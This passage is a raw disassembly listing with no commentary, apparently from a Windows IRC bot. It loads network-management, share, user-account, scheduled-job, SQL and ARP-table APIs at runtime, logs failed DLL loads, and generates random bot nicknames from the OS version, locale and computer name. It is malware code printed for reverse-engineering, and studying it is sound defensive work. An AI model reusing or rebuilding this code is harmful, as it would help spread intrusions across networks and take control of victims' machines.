call dword_4F1348 ; RtlGetLastWin32Error
mov dword_4E0988, eax
mov dword_4E0984, 1
loc_4097F3: ; CODE XREF: sub_408F54+888j
mov dword_4E0854, ebx
loc_4097F9: ; CODE XREF: sub_408F54+872j
; sub_408F54+886j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_409843
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi ; GetProcAddress
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_4E0830, eax
call esi ; GetProcAddress
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_4E0954, eax
call esi ; GetProcAddress
cmp dword_4E0830, ebx
mov dword_4E07C8, eax
jz short loc_40984E
cmp dword_4E0954, ebx
jz short loc_40984E
cmp eax, ebx
jnz short loc_409858
jmp short loc_40984E
; ---------------------------------------------------------------------------
loc_409843: ; CODE XREF: sub_408F54+8B0j
call dword_4F1348 ; RtlGetLastWin32Error
mov dword_4E0990, eax
loc_40984E: ; CODE XREF: sub_408F54+8DFj
; sub_408F54+8E7j ...
mov dword_4E098C, 1
loc_409858: ; CODE XREF: sub_408F54+8EBj
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40995F
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; GetProcAddress
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_4E07A4, eax
call esi ; GetProcAddress
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_4E0780, eax
call esi ; GetProcAddress
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_4E07F4, eax
call esi ; GetProcAddress
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_4E0824, eax
call esi ; GetProcAddress
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_4E092C, eax
call esi ; GetProcAddress
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_4E07DC, eax
call esi ; GetProcAddress
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_4E0788, eax
call esi ; GetProcAddress
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_4E077C, eax
call esi ; GetProcAddress
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_4E080C, eax
call esi ; GetProcAddress
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_4E08F4, eax
call esi ; GetProcAddress
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov dword_4E08B0, eax
call esi ; GetProcAddress
cmp dword_4E07A4, ebx
mov dword_4E07E4, eax
jz short loc_40996A
cmp dword_4E0780, ebx
jz short loc_40996A
cmp dword_4E07F4, ebx
jz short loc_40996A
cmp dword_4E0824, ebx
jz short loc_40996A
cmp dword_4E092C, ebx
jz short loc_40996A
cmp dword_4E07DC, ebx
jz short loc_40996A
cmp dword_4E0788, ebx
jz short loc_40996A
cmp dword_4E077C, ebx
jz short loc_40996A
cmp dword_4E080C, ebx
jz short loc_40996A
cmp dword_4E08F4, ebx
jz short loc_40996A
cmp dword_4E08B0, ebx
jnz short loc_409974
jmp short loc_40996A
; ---------------------------------------------------------------------------
loc_40995F: ; CODE XREF: sub_408F54+90Fj
call dword_4F1348 ; RtlGetLastWin32Error
mov dword_4E0998, eax
loc_40996A: ; CODE XREF: sub_408F54+9B7j
; sub_408F54+9BFj ...
mov dword_4E0994, 1
loc_409974: ; CODE XREF: sub_408F54+A07j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_4099A9
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; GetProcAddress
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_4E07CC, eax
call esi ; GetProcAddress
cmp dword_4E07CC, ebx
mov dword_4E0898, eax
jz short loc_4099B4
cmp eax, ebx
jnz short loc_4099BE
jmp short loc_4099B4
; ---------------------------------------------------------------------------
loc_4099A9: ; CODE XREF: sub_408F54+A2Bj
call dword_4F1348 ; RtlGetLastWin32Error
mov dword_4E09A0, eax
loc_4099B4: ; CODE XREF: sub_408F54+A4Dj
; sub_408F54+A53j
mov dword_4E099C, 1
loc_4099BE: ; CODE XREF: sub_408F54+A51j
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_4099F3
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; GetProcAddress
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_4E0918, eax
call esi ; GetProcAddress
cmp dword_4E0918, ebx
mov dword_4E0914, eax
jz short loc_4099FE
cmp eax, ebx
jnz short loc_409A08
jmp short loc_4099FE
; ---------------------------------------------------------------------------
loc_4099F3: ; CODE XREF: sub_408F54+A75j
call dword_4F1348 ; RtlGetLastWin32Error
mov dword_4E09A8, eax
loc_4099FE: ; CODE XREF: sub_408F54+A97j
; sub_408F54+A9Dj
mov dword_4E09A4, 1
loc_409A08: ; CODE XREF: sub_408F54+A9Bj
push offset aMpr_dll ; "mpr.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_409A67
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; GetProcAddress
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_4E0944, eax
call esi ; GetProcAddress
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_4E093C, eax
call esi ; GetProcAddress
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_4E0904, eax
call esi ; GetProcAddress
cmp dword_4E0944, ebx
mov dword_4E07E8, eax
jz short loc_409A72
cmp dword_4E093C, ebx
jz short loc_409A72
cmp dword_4E0904, ebx
jz short loc_409A72
cmp eax, ebx
jnz short loc_409A7C
jmp short loc_409A72
; ---------------------------------------------------------------------------
loc_409A67: ; CODE XREF: sub_408F54+ABFj
call dword_4F1348 ; RtlGetLastWin32Error
mov dword_4E09B0, eax
loc_409A72: ; CODE XREF: sub_408F54+AFBj
; sub_408F54+B03j ...
mov dword_4E09AC, 1
loc_409A7C: ; CODE XREF: sub_408F54+B0Fj
push offset aShell32_dll ; "shell32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_409AB1
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; GetProcAddress
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_4E0818, eax
call esi ; GetProcAddress
cmp dword_4E0818, ebx
mov dword_4E0910, eax
jz short loc_409ABC
cmp eax, ebx
jnz short loc_409AC6
jmp short loc_409ABC
; ---------------------------------------------------------------------------
loc_409AB1: ; CODE XREF: sub_408F54+B33j
call dword_4F1348 ; RtlGetLastWin32Error
mov dword_4E09B8, eax
loc_409ABC: ; CODE XREF: sub_408F54+B55j
; sub_408F54+B5Bj
mov dword_4E09B4, 1
loc_409AC6: ; CODE XREF: sub_408F54+B59j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_409B4F
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; GetProcAddress
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_4E08D8, eax
call esi ; GetProcAddress
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_4E0924, eax
call esi ; GetProcAddress
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_4E0868, eax
call esi ; GetProcAddress
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_4E0828, eax
call esi ; GetProcAddress
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_4E08BC, eax
call esi ; GetProcAddress
cmp dword_4E08D8, ebx
mov dword_4E0834, eax
jz short loc_409B5A
cmp dword_4E0924, ebx
jz short loc_409B5A
cmp dword_4E0868, ebx
jz short loc_409B5A
cmp dword_4E0828, ebx
jz short loc_409B5A
cmp dword_4E08BC, ebx
jz short loc_409B5A
cmp eax, ebx
jnz short loc_409B64
jmp short loc_409B5A
; ---------------------------------------------------------------------------
loc_409B4F: ; CODE XREF: sub_408F54+B7Dj
call dword_4F1348 ; RtlGetLastWin32Error
mov dword_4E09C0, eax
loc_409B5A: ; CODE XREF: sub_408F54+BD3j
; sub_408F54+BDBj ...
mov dword_4E09BC, 1
loc_409B64: ; CODE XREF: sub_408F54+BF7j
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_408F54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409B6C proc near ; CODE XREF: sub_401CC1+206Bp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_4E095C, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_409BB4
push dword_4E0960
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_41B740
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_408EB9
add esp, 20h
loc_409BB4: ; CODE XREF: sub_409B6C+1Aj
cmp dword_4E0964, esi
jz short loc_409BE8
push dword_4E0968
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_41B740
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_408EB9
add esp, 20h
loc_409BE8: ; CODE XREF: sub_409B6C+4Ej
cmp dword_4E096C, esi
jz short loc_409C1C
push dword_4E0970
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_41B740
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_408EB9
add esp, 20h
loc_409C1C: ; CODE XREF: sub_409B6C+82j
cmp dword_4E0974, esi
jz short loc_409C50
push dword_4E0978
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_41B740
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_408EB9
add esp, 20h
loc_409C50: ; CODE XREF: sub_409B6C+B6j
cmp dword_4E097C, esi
jz short loc_409C84
push dword_4E0980
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_41B740
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_408EB9
add esp, 20h
loc_409C84: ; CODE XREF: sub_409B6C+EAj
cmp dword_4E0984, esi
jz short loc_409CB8
push dword_4E0988
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_41B740
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_408EB9
add esp, 20h
loc_409CB8: ; CODE XREF: sub_409B6C+11Ej
cmp dword_4E098C, esi
jz short loc_409CEC
push dword_4E0990
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_41B740
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_408EB9
add esp, 20h
loc_409CEC: ; CODE XREF: sub_409B6C+152j
cmp dword_4E0994, esi
jz short loc_409D20
push dword_4E0998
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_41B740
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_408EB9
add esp, 20h
loc_409D20: ; CODE XREF: sub_409B6C+186j
cmp dword_4E099C, esi
jz short loc_409D54
push dword_4E09A0
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_41B740
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_408EB9
add esp, 20h
loc_409D54: ; CODE XREF: sub_409B6C+1BAj
cmp dword_4E09A4, esi
jz short loc_409D88
push dword_4E09A8
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_41B740
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_408EB9
add esp, 20h
loc_409D88: ; CODE XREF: sub_409B6C+1EEj
cmp dword_4E09AC, esi
jz short loc_409DBC
push dword_4E09B0
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_41B740
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_408EB9
add esp, 20h
loc_409DBC: ; CODE XREF: sub_409B6C+222j
cmp dword_4E09B4, esi
jz short loc_409DF0
push dword_4E09B8
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_41B740
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_408EB9
add esp, 20h
loc_409DF0: ; CODE XREF: sub_409B6C+256j
cmp dword_4E09BC, esi
jz short loc_409E24
push dword_4E09C0
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_41B740
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_408EB9
add esp, 20h
loc_409E24: ; CODE XREF: sub_409B6C+28Aj
lea eax, [ebp+var_200]
push offset unk_4452B4
push eax
call sub_41B740
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_409E51
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_408EB9
add esp, 14h
loc_409E51: ; CODE XREF: sub_409B6C+2CEj
lea eax, [ebp+var_200]
push eax
call sub_41458A
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_409B6C endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 20h
cmp dword ptr [ebp+8], 0
push esi
jz loc_409EF8
push offset dword_4E09E0
push dword ptr [ebp+8]
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz short loc_409EF8
push 20h
lea eax, [ebp-20h]
push dword ptr [ebp+8]
push eax
call sub_41B1F0
lea eax, [ebp-20h]
push offset a__7 ; "."
push eax
call sub_41C550
add esp, 14h
test eax, eax
jz short loc_409EF8
push eax
call sub_41B3F0
mov dword ptr [esp], offset a__8 ; "."
push 0
mov esi, eax
call sub_41C550
pop ecx
test eax, eax
pop ecx
jz short loc_409EF8
push eax
call sub_41B3F0
cmp esi, 0Ah
pop ecx
jz short loc_409EF3
cmp esi, 0ACh
jnz short loc_409EE4
cmp eax, 0Fh
jle short loc_409EF8
cmp eax, 20h
jl short loc_409EF3
loc_409EE4: ; CODE XREF: .nsp0:00409ED8j
cmp esi, 0C0h
jnz short loc_409EF8
cmp eax, 0A8h
jnz short loc_409EF8
loc_409EF3: ; CODE XREF: .nsp0:00409ED0j
; .nsp0:00409EE2j
push 1
pop eax
jmp short loc_409EFA
; ---------------------------------------------------------------------------
loc_409EF8: ; CODE XREF: .nsp0:00409E6Ej
; .nsp0:00409E85j ...
xor eax, eax
loc_409EFA: ; CODE XREF: .nsp0:00409EF6j
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_409EFD proc near ; CODE XREF: sub_4019E1+4Fp
; sub_401CC1+5466p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4E08DC
cmp eax, 0FFFFFFFFh
jnz short locret_409F25
push [esp+arg_0]
call dword_4E0920
test eax, eax
jnz short loc_409F1E
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_409F1E: ; CODE XREF: sub_409EFD+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_409F25: ; CODE XREF: sub_409EFD+Dj
retn
sub_409EFD endp
; =============== S U B R O U T I N E =======================================
sub_409F26 proc near ; CODE XREF: sub_4019E1+D6p
mov ecx, dword_4E07CC
xor eax, eax
test ecx, ecx
jz short locret_409F34
call ecx
locret_409F34: ; CODE XREF: sub_409F26+Aj
retn
sub_409F26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409F35 proc near ; CODE XREF: sub_401CC1:loc_403C72p
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_4E0918
mov ecx, eax
sub ecx, edi
jz loc_40A001
sub ecx, 32h
jz loc_409FFA
sub ecx, 48h
jz short loc_409F95
sub ecx, 6Eh
jz short loc_409F8E
push eax
push offset unk_44538C
loc_409F7D: ; CODE XREF: sub_409F35+91j
lea eax, [ebp+var_88]
push eax
call sub_41B740
add esp, 0Ch
jmp short loc_409FDB
; ---------------------------------------------------------------------------
loc_409F8E: ; CODE XREF: sub_409F35+40j
push offset unk_445338
jmp short loc_409FCD
; ---------------------------------------------------------------------------
loc_409F95: ; CODE XREF: sub_409F35+3Bj
push [ebp+var_8]
call sub_418ED0
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_41B190
add esp, 10h
cmp esi, edi
jz short loc_409FC8
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_4E0918
cmp eax, edi
jz short loc_40A001
push eax
push offset unk_4452DC
jmp short loc_409F7D
; ---------------------------------------------------------------------------
loc_409FC8: ; CODE XREF: sub_409F35+79j
push offset unk_445308
loc_409FCD: ; CODE XREF: sub_409F35+5Ej
; sub_409F35+CAj
lea eax, [ebp+var_88]
push eax
call sub_41B740
pop ecx
pop ecx
loc_409FDB: ; CODE XREF: sub_409F35+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_41458A
pop ecx
loc_409FEB: ; CODE XREF: sub_409F35+CEj
; sub_409F35+E2j
push esi
call sub_419940
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_409FFA: ; CODE XREF: sub_409F35+32j
push offset unk_44535C
jmp short loc_409FCD
; ---------------------------------------------------------------------------
loc_40A001: ; CODE XREF: sub_409F35+29j
; sub_409F35+89j
cmp [esi], edi
jbe short loc_409FEB
lea ebx, [esi+4]
loc_40A008: ; CODE XREF: sub_409F35+E0j
push ebx
call dword_4E0914
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40A008
jmp short loc_409FEB
sub_409F35 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A019 proc near ; CODE XREF: sub_401CC1+1D7Fp
; sub_401CC1+1ECDp ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_41B190
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_4E0848
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_4E09CC
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_41B740
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40A019 endp
; =============== S U B R O U T I N E =======================================
sub_40A072 proc near ; CODE XREF: .nsp0:0040B8D0p
; sub_411ED9+24Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40A09B
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40A08E: ; CODE XREF: sub_40A072+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40A08E
pop edi
jmp short loc_40A09F
; ---------------------------------------------------------------------------
loc_40A09B: ; CODE XREF: sub_40A072+Aj
mov edx, [esp+4+arg_0]
loc_40A09F: ; CODE XREF: sub_40A072+27j
test esi, esi
pop esi
jz short loc_40A0A9
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40A0A9: ; CODE XREF: sub_40A072+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40A072 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+0Ch]
mov edx, [ebp+8]
push esi
xor esi, esi
cmp eax, 1
mov [ebp-4], esi
jle short loc_40A0EC
mov ecx, eax
push edi
shr ecx, 1
lea edi, [ecx+ecx]
sub eax, edi
loc_40A0DE: ; CODE XREF: .nsp0:0040A0E6j
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec ecx
jnz short loc_40A0DE
pop edi
cmp eax, 1
loc_40A0EC: ; CODE XREF: .nsp0:0040A0D2j
jnz short loc_40A0F9
mov al, [edx]
mov [ebp-4], al
movzx eax, word ptr [ebp-4]
add esi, eax
loc_40A0F9: ; CODE XREF: .nsp0:loc_40A0ECj
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40A112 proc near ; CODE XREF: sub_40A4F6+49p
; DATA XREF: .nsp0:off_4453D8o
arg_0 = dword ptr 4
push esi
push edi
call dword_4F1364 ; GetTickCount
push eax
call sub_41B840
call sub_41B850
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+0Ch+arg_0]
push off_445440[edx*4]
push offset aS_28 ; "%s"
push 1Ch
push edi
call sub_41B910
xor esi, esi
add esp, 14h
cmp dword_43A098, esi
jle short loc_40A179
loc_40A153: ; CODE XREF: sub_40A112+65j
call sub_41B850
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI_0 ; "%s%i"
push 1Ch
push edi
call sub_41B910
add esp, 14h
inc esi
cmp esi, dword_43A098
jl short loc_40A153
loc_40A179: ; CODE XREF: sub_40A112+3Fj
mov eax, edi
pop edi
pop esi
retn
sub_40A112 endp
; ---------------------------------------------------------------------------
push esi
push edi
call dword_4F1364 ; GetTickCount
push eax
call sub_41B840
mov edi, [esp+10h]
mov dword ptr [esp], offset aXx ; "XX-"
push offset aS_29 ; "%s"
push 1Ch
push edi
call sub_41B910
xor esi, esi
add esp, 10h
cmp dword_43A098, esi
jle short loc_40A1D7
loc_40A1B1: ; CODE XREF: .nsp0:0040A1D5j
call sub_41B850
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI_1 ; "%s%i"
push 1Ch
push edi
call sub_41B910
add esp, 14h
inc esi
cmp esi, dword_43A098
jl short loc_40A1B1
loc_40A1D7: ; CODE XREF: .nsp0:0040A1AFj
mov eax, edi
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_40A1DC proc near ; CODE XREF: sub_401CC1+606Cp
arg_0 = dword ptr 4
push ebx
push esi
push edi
call dword_4F1364 ; GetTickCount
push eax
call sub_41B840
pop ecx
call sub_41B850
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_43A098
test esi, esi
jle short loc_40A21F
loc_40A209: ; CODE XREF: sub_40A1DC+41j
call sub_41B850
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40A209
loc_40A21F: ; CODE XREF: sub_40A1DC+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40A1DC endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, offset aPc_0 ; "PC"
mov dword ptr [ebp-4], 100h
xor edi, edi
call dword_4F1364 ; GetTickCount
push eax
call sub_41B840
pop ecx
lea eax, [ebp-4]
push eax
push esi
call dword_4F137C ; GetComputerNameA
test eax, eax
jnz short loc_40A25E
mov esi, offset aPc_1 ; "PC"
loc_40A25E: ; CODE XREF: .nsp0:0040A257j
movsx eax, byte ptr [esi]
push 41h
pop ecx
loc_40A264: ; CODE XREF: .nsp0:0040A26Fj
cmp eax, ecx
jnz short loc_40A26B
push 1
pop edi
loc_40A26B: ; CODE XREF: .nsp0:0040A266j
inc ecx
cmp ecx, 5Bh
jl short loc_40A264
push 61h
pop ecx
loc_40A274: ; CODE XREF: .nsp0:0040A27Fj
cmp eax, ecx
jnz short loc_40A27B
push 1
pop edi
loc_40A27B: ; CODE XREF: .nsp0:0040A276j
inc ecx
cmp ecx, 7Bh
jl short loc_40A274
test edi, edi
jnz short loc_40A28A
mov esi, offset aPc_2 ; "PC"
loc_40A28A: ; CODE XREF: .nsp0:0040A283j
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41B910
xor esi, esi
add esp, 0Ch
cmp dword_43A098, esi
jle short loc_40A2C9
loc_40A2A3: ; CODE XREF: .nsp0:0040A2C7j
call sub_41B850
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI_2 ; "%s%i"
push 1Ch
push edi
call sub_41B910
add esp, 14h
inc esi
cmp esi, dword_43A098
jl short loc_40A2A3
loc_40A2C9: ; CODE XREF: .nsp0:0040A2A1j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call dword_4F1364 ; GetTickCount
push eax
call sub_41B840
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call dword_4F1380 ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset aS_30 ; "%s|"
push 1Ch
push edi
call sub_41B910
xor esi, esi
add esp, 10h
cmp dword_43A098, esi
jle short loc_40A33E
loc_40A318: ; CODE XREF: .nsp0:0040A33Cj
call sub_41B850
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI_3 ; "%s%i"
push 1Ch
push edi
call sub_41B910
add esp, 14h
inc esi
cmp esi, dword_43A098
jl short loc_40A318
loc_40A33E: ; CODE XREF: .nsp0:0040A316j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset dword_4E09E8
mov dword ptr [ebp-94h], 94h
call dword_4F1384 ; GetVersionExA
call dword_4F1364 ; GetTickCount
push eax
call sub_41B840
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_40A3C8
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40A3A8
cmp dword ptr [ebp-84h], 1
jnz short loc_40A398
mov esi, offset a95 ; "95"
loc_40A398: ; CODE XREF: .nsp0:0040A391j
cmp dword ptr [ebp-84h], 2
jnz short loc_40A404
mov esi, offset aNt ; "NT"
jmp short loc_40A404
; ---------------------------------------------------------------------------
loc_40A3A8: ; CODE XREF: .nsp0:0040A388j
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_40A3B8
mov esi, offset a98 ; "98"
jmp short loc_40A404
; ---------------------------------------------------------------------------
loc_40A3B8: ; CODE XREF: .nsp0:0040A3AFj
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40A3FF
mov esi, offset aMe_0 ; "ME"
jmp short loc_40A404
; ---------------------------------------------------------------------------
loc_40A3C8: ; CODE XREF: .nsp0:0040A37Fj
cmp dword ptr [ebp-90h], 5
jnz short loc_40A3FF
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40A3E1
mov esi, offset a2k ; "2K"
jmp short loc_40A404
; ---------------------------------------------------------------------------
loc_40A3E1: ; CODE XREF: .nsp0:0040A3D8j
cmp dword ptr [ebp-8Ch], 1
jnz short loc_40A3F1
mov esi, offset aXp_1 ; "XP"
jmp short loc_40A404
; ---------------------------------------------------------------------------
loc_40A3F1: ; CODE XREF: .nsp0:0040A3E8j
cmp dword ptr [ebp-8Ch], 2
mov esi, offset a2k3 ; "2K3"
jz short loc_40A404
loc_40A3FF: ; CODE XREF: .nsp0:0040A3BFj
; .nsp0:0040A3CFj
mov esi, offset a???_0 ; "???"
loc_40A404: ; CODE XREF: .nsp0:0040A39Fj
; .nsp0:0040A3A6j ...
mov edi, [ebp+8]
push esi
push offset aS_31 ; "[%s]|"
push 1Ch
push edi
call sub_41B910
xor esi, esi
add esp, 10h
cmp dword_43A098, esi
jle short loc_40A448
loc_40A422: ; CODE XREF: .nsp0:0040A446j
call sub_41B850
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI_4 ; "%s%i"
push 1Ch
push edi
call sub_41B910
add esp, 14h
inc esi
cmp esi, dword_43A098
jl short loc_40A422
loc_40A448: ; CODE XREF: .nsp0:0040A420j
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
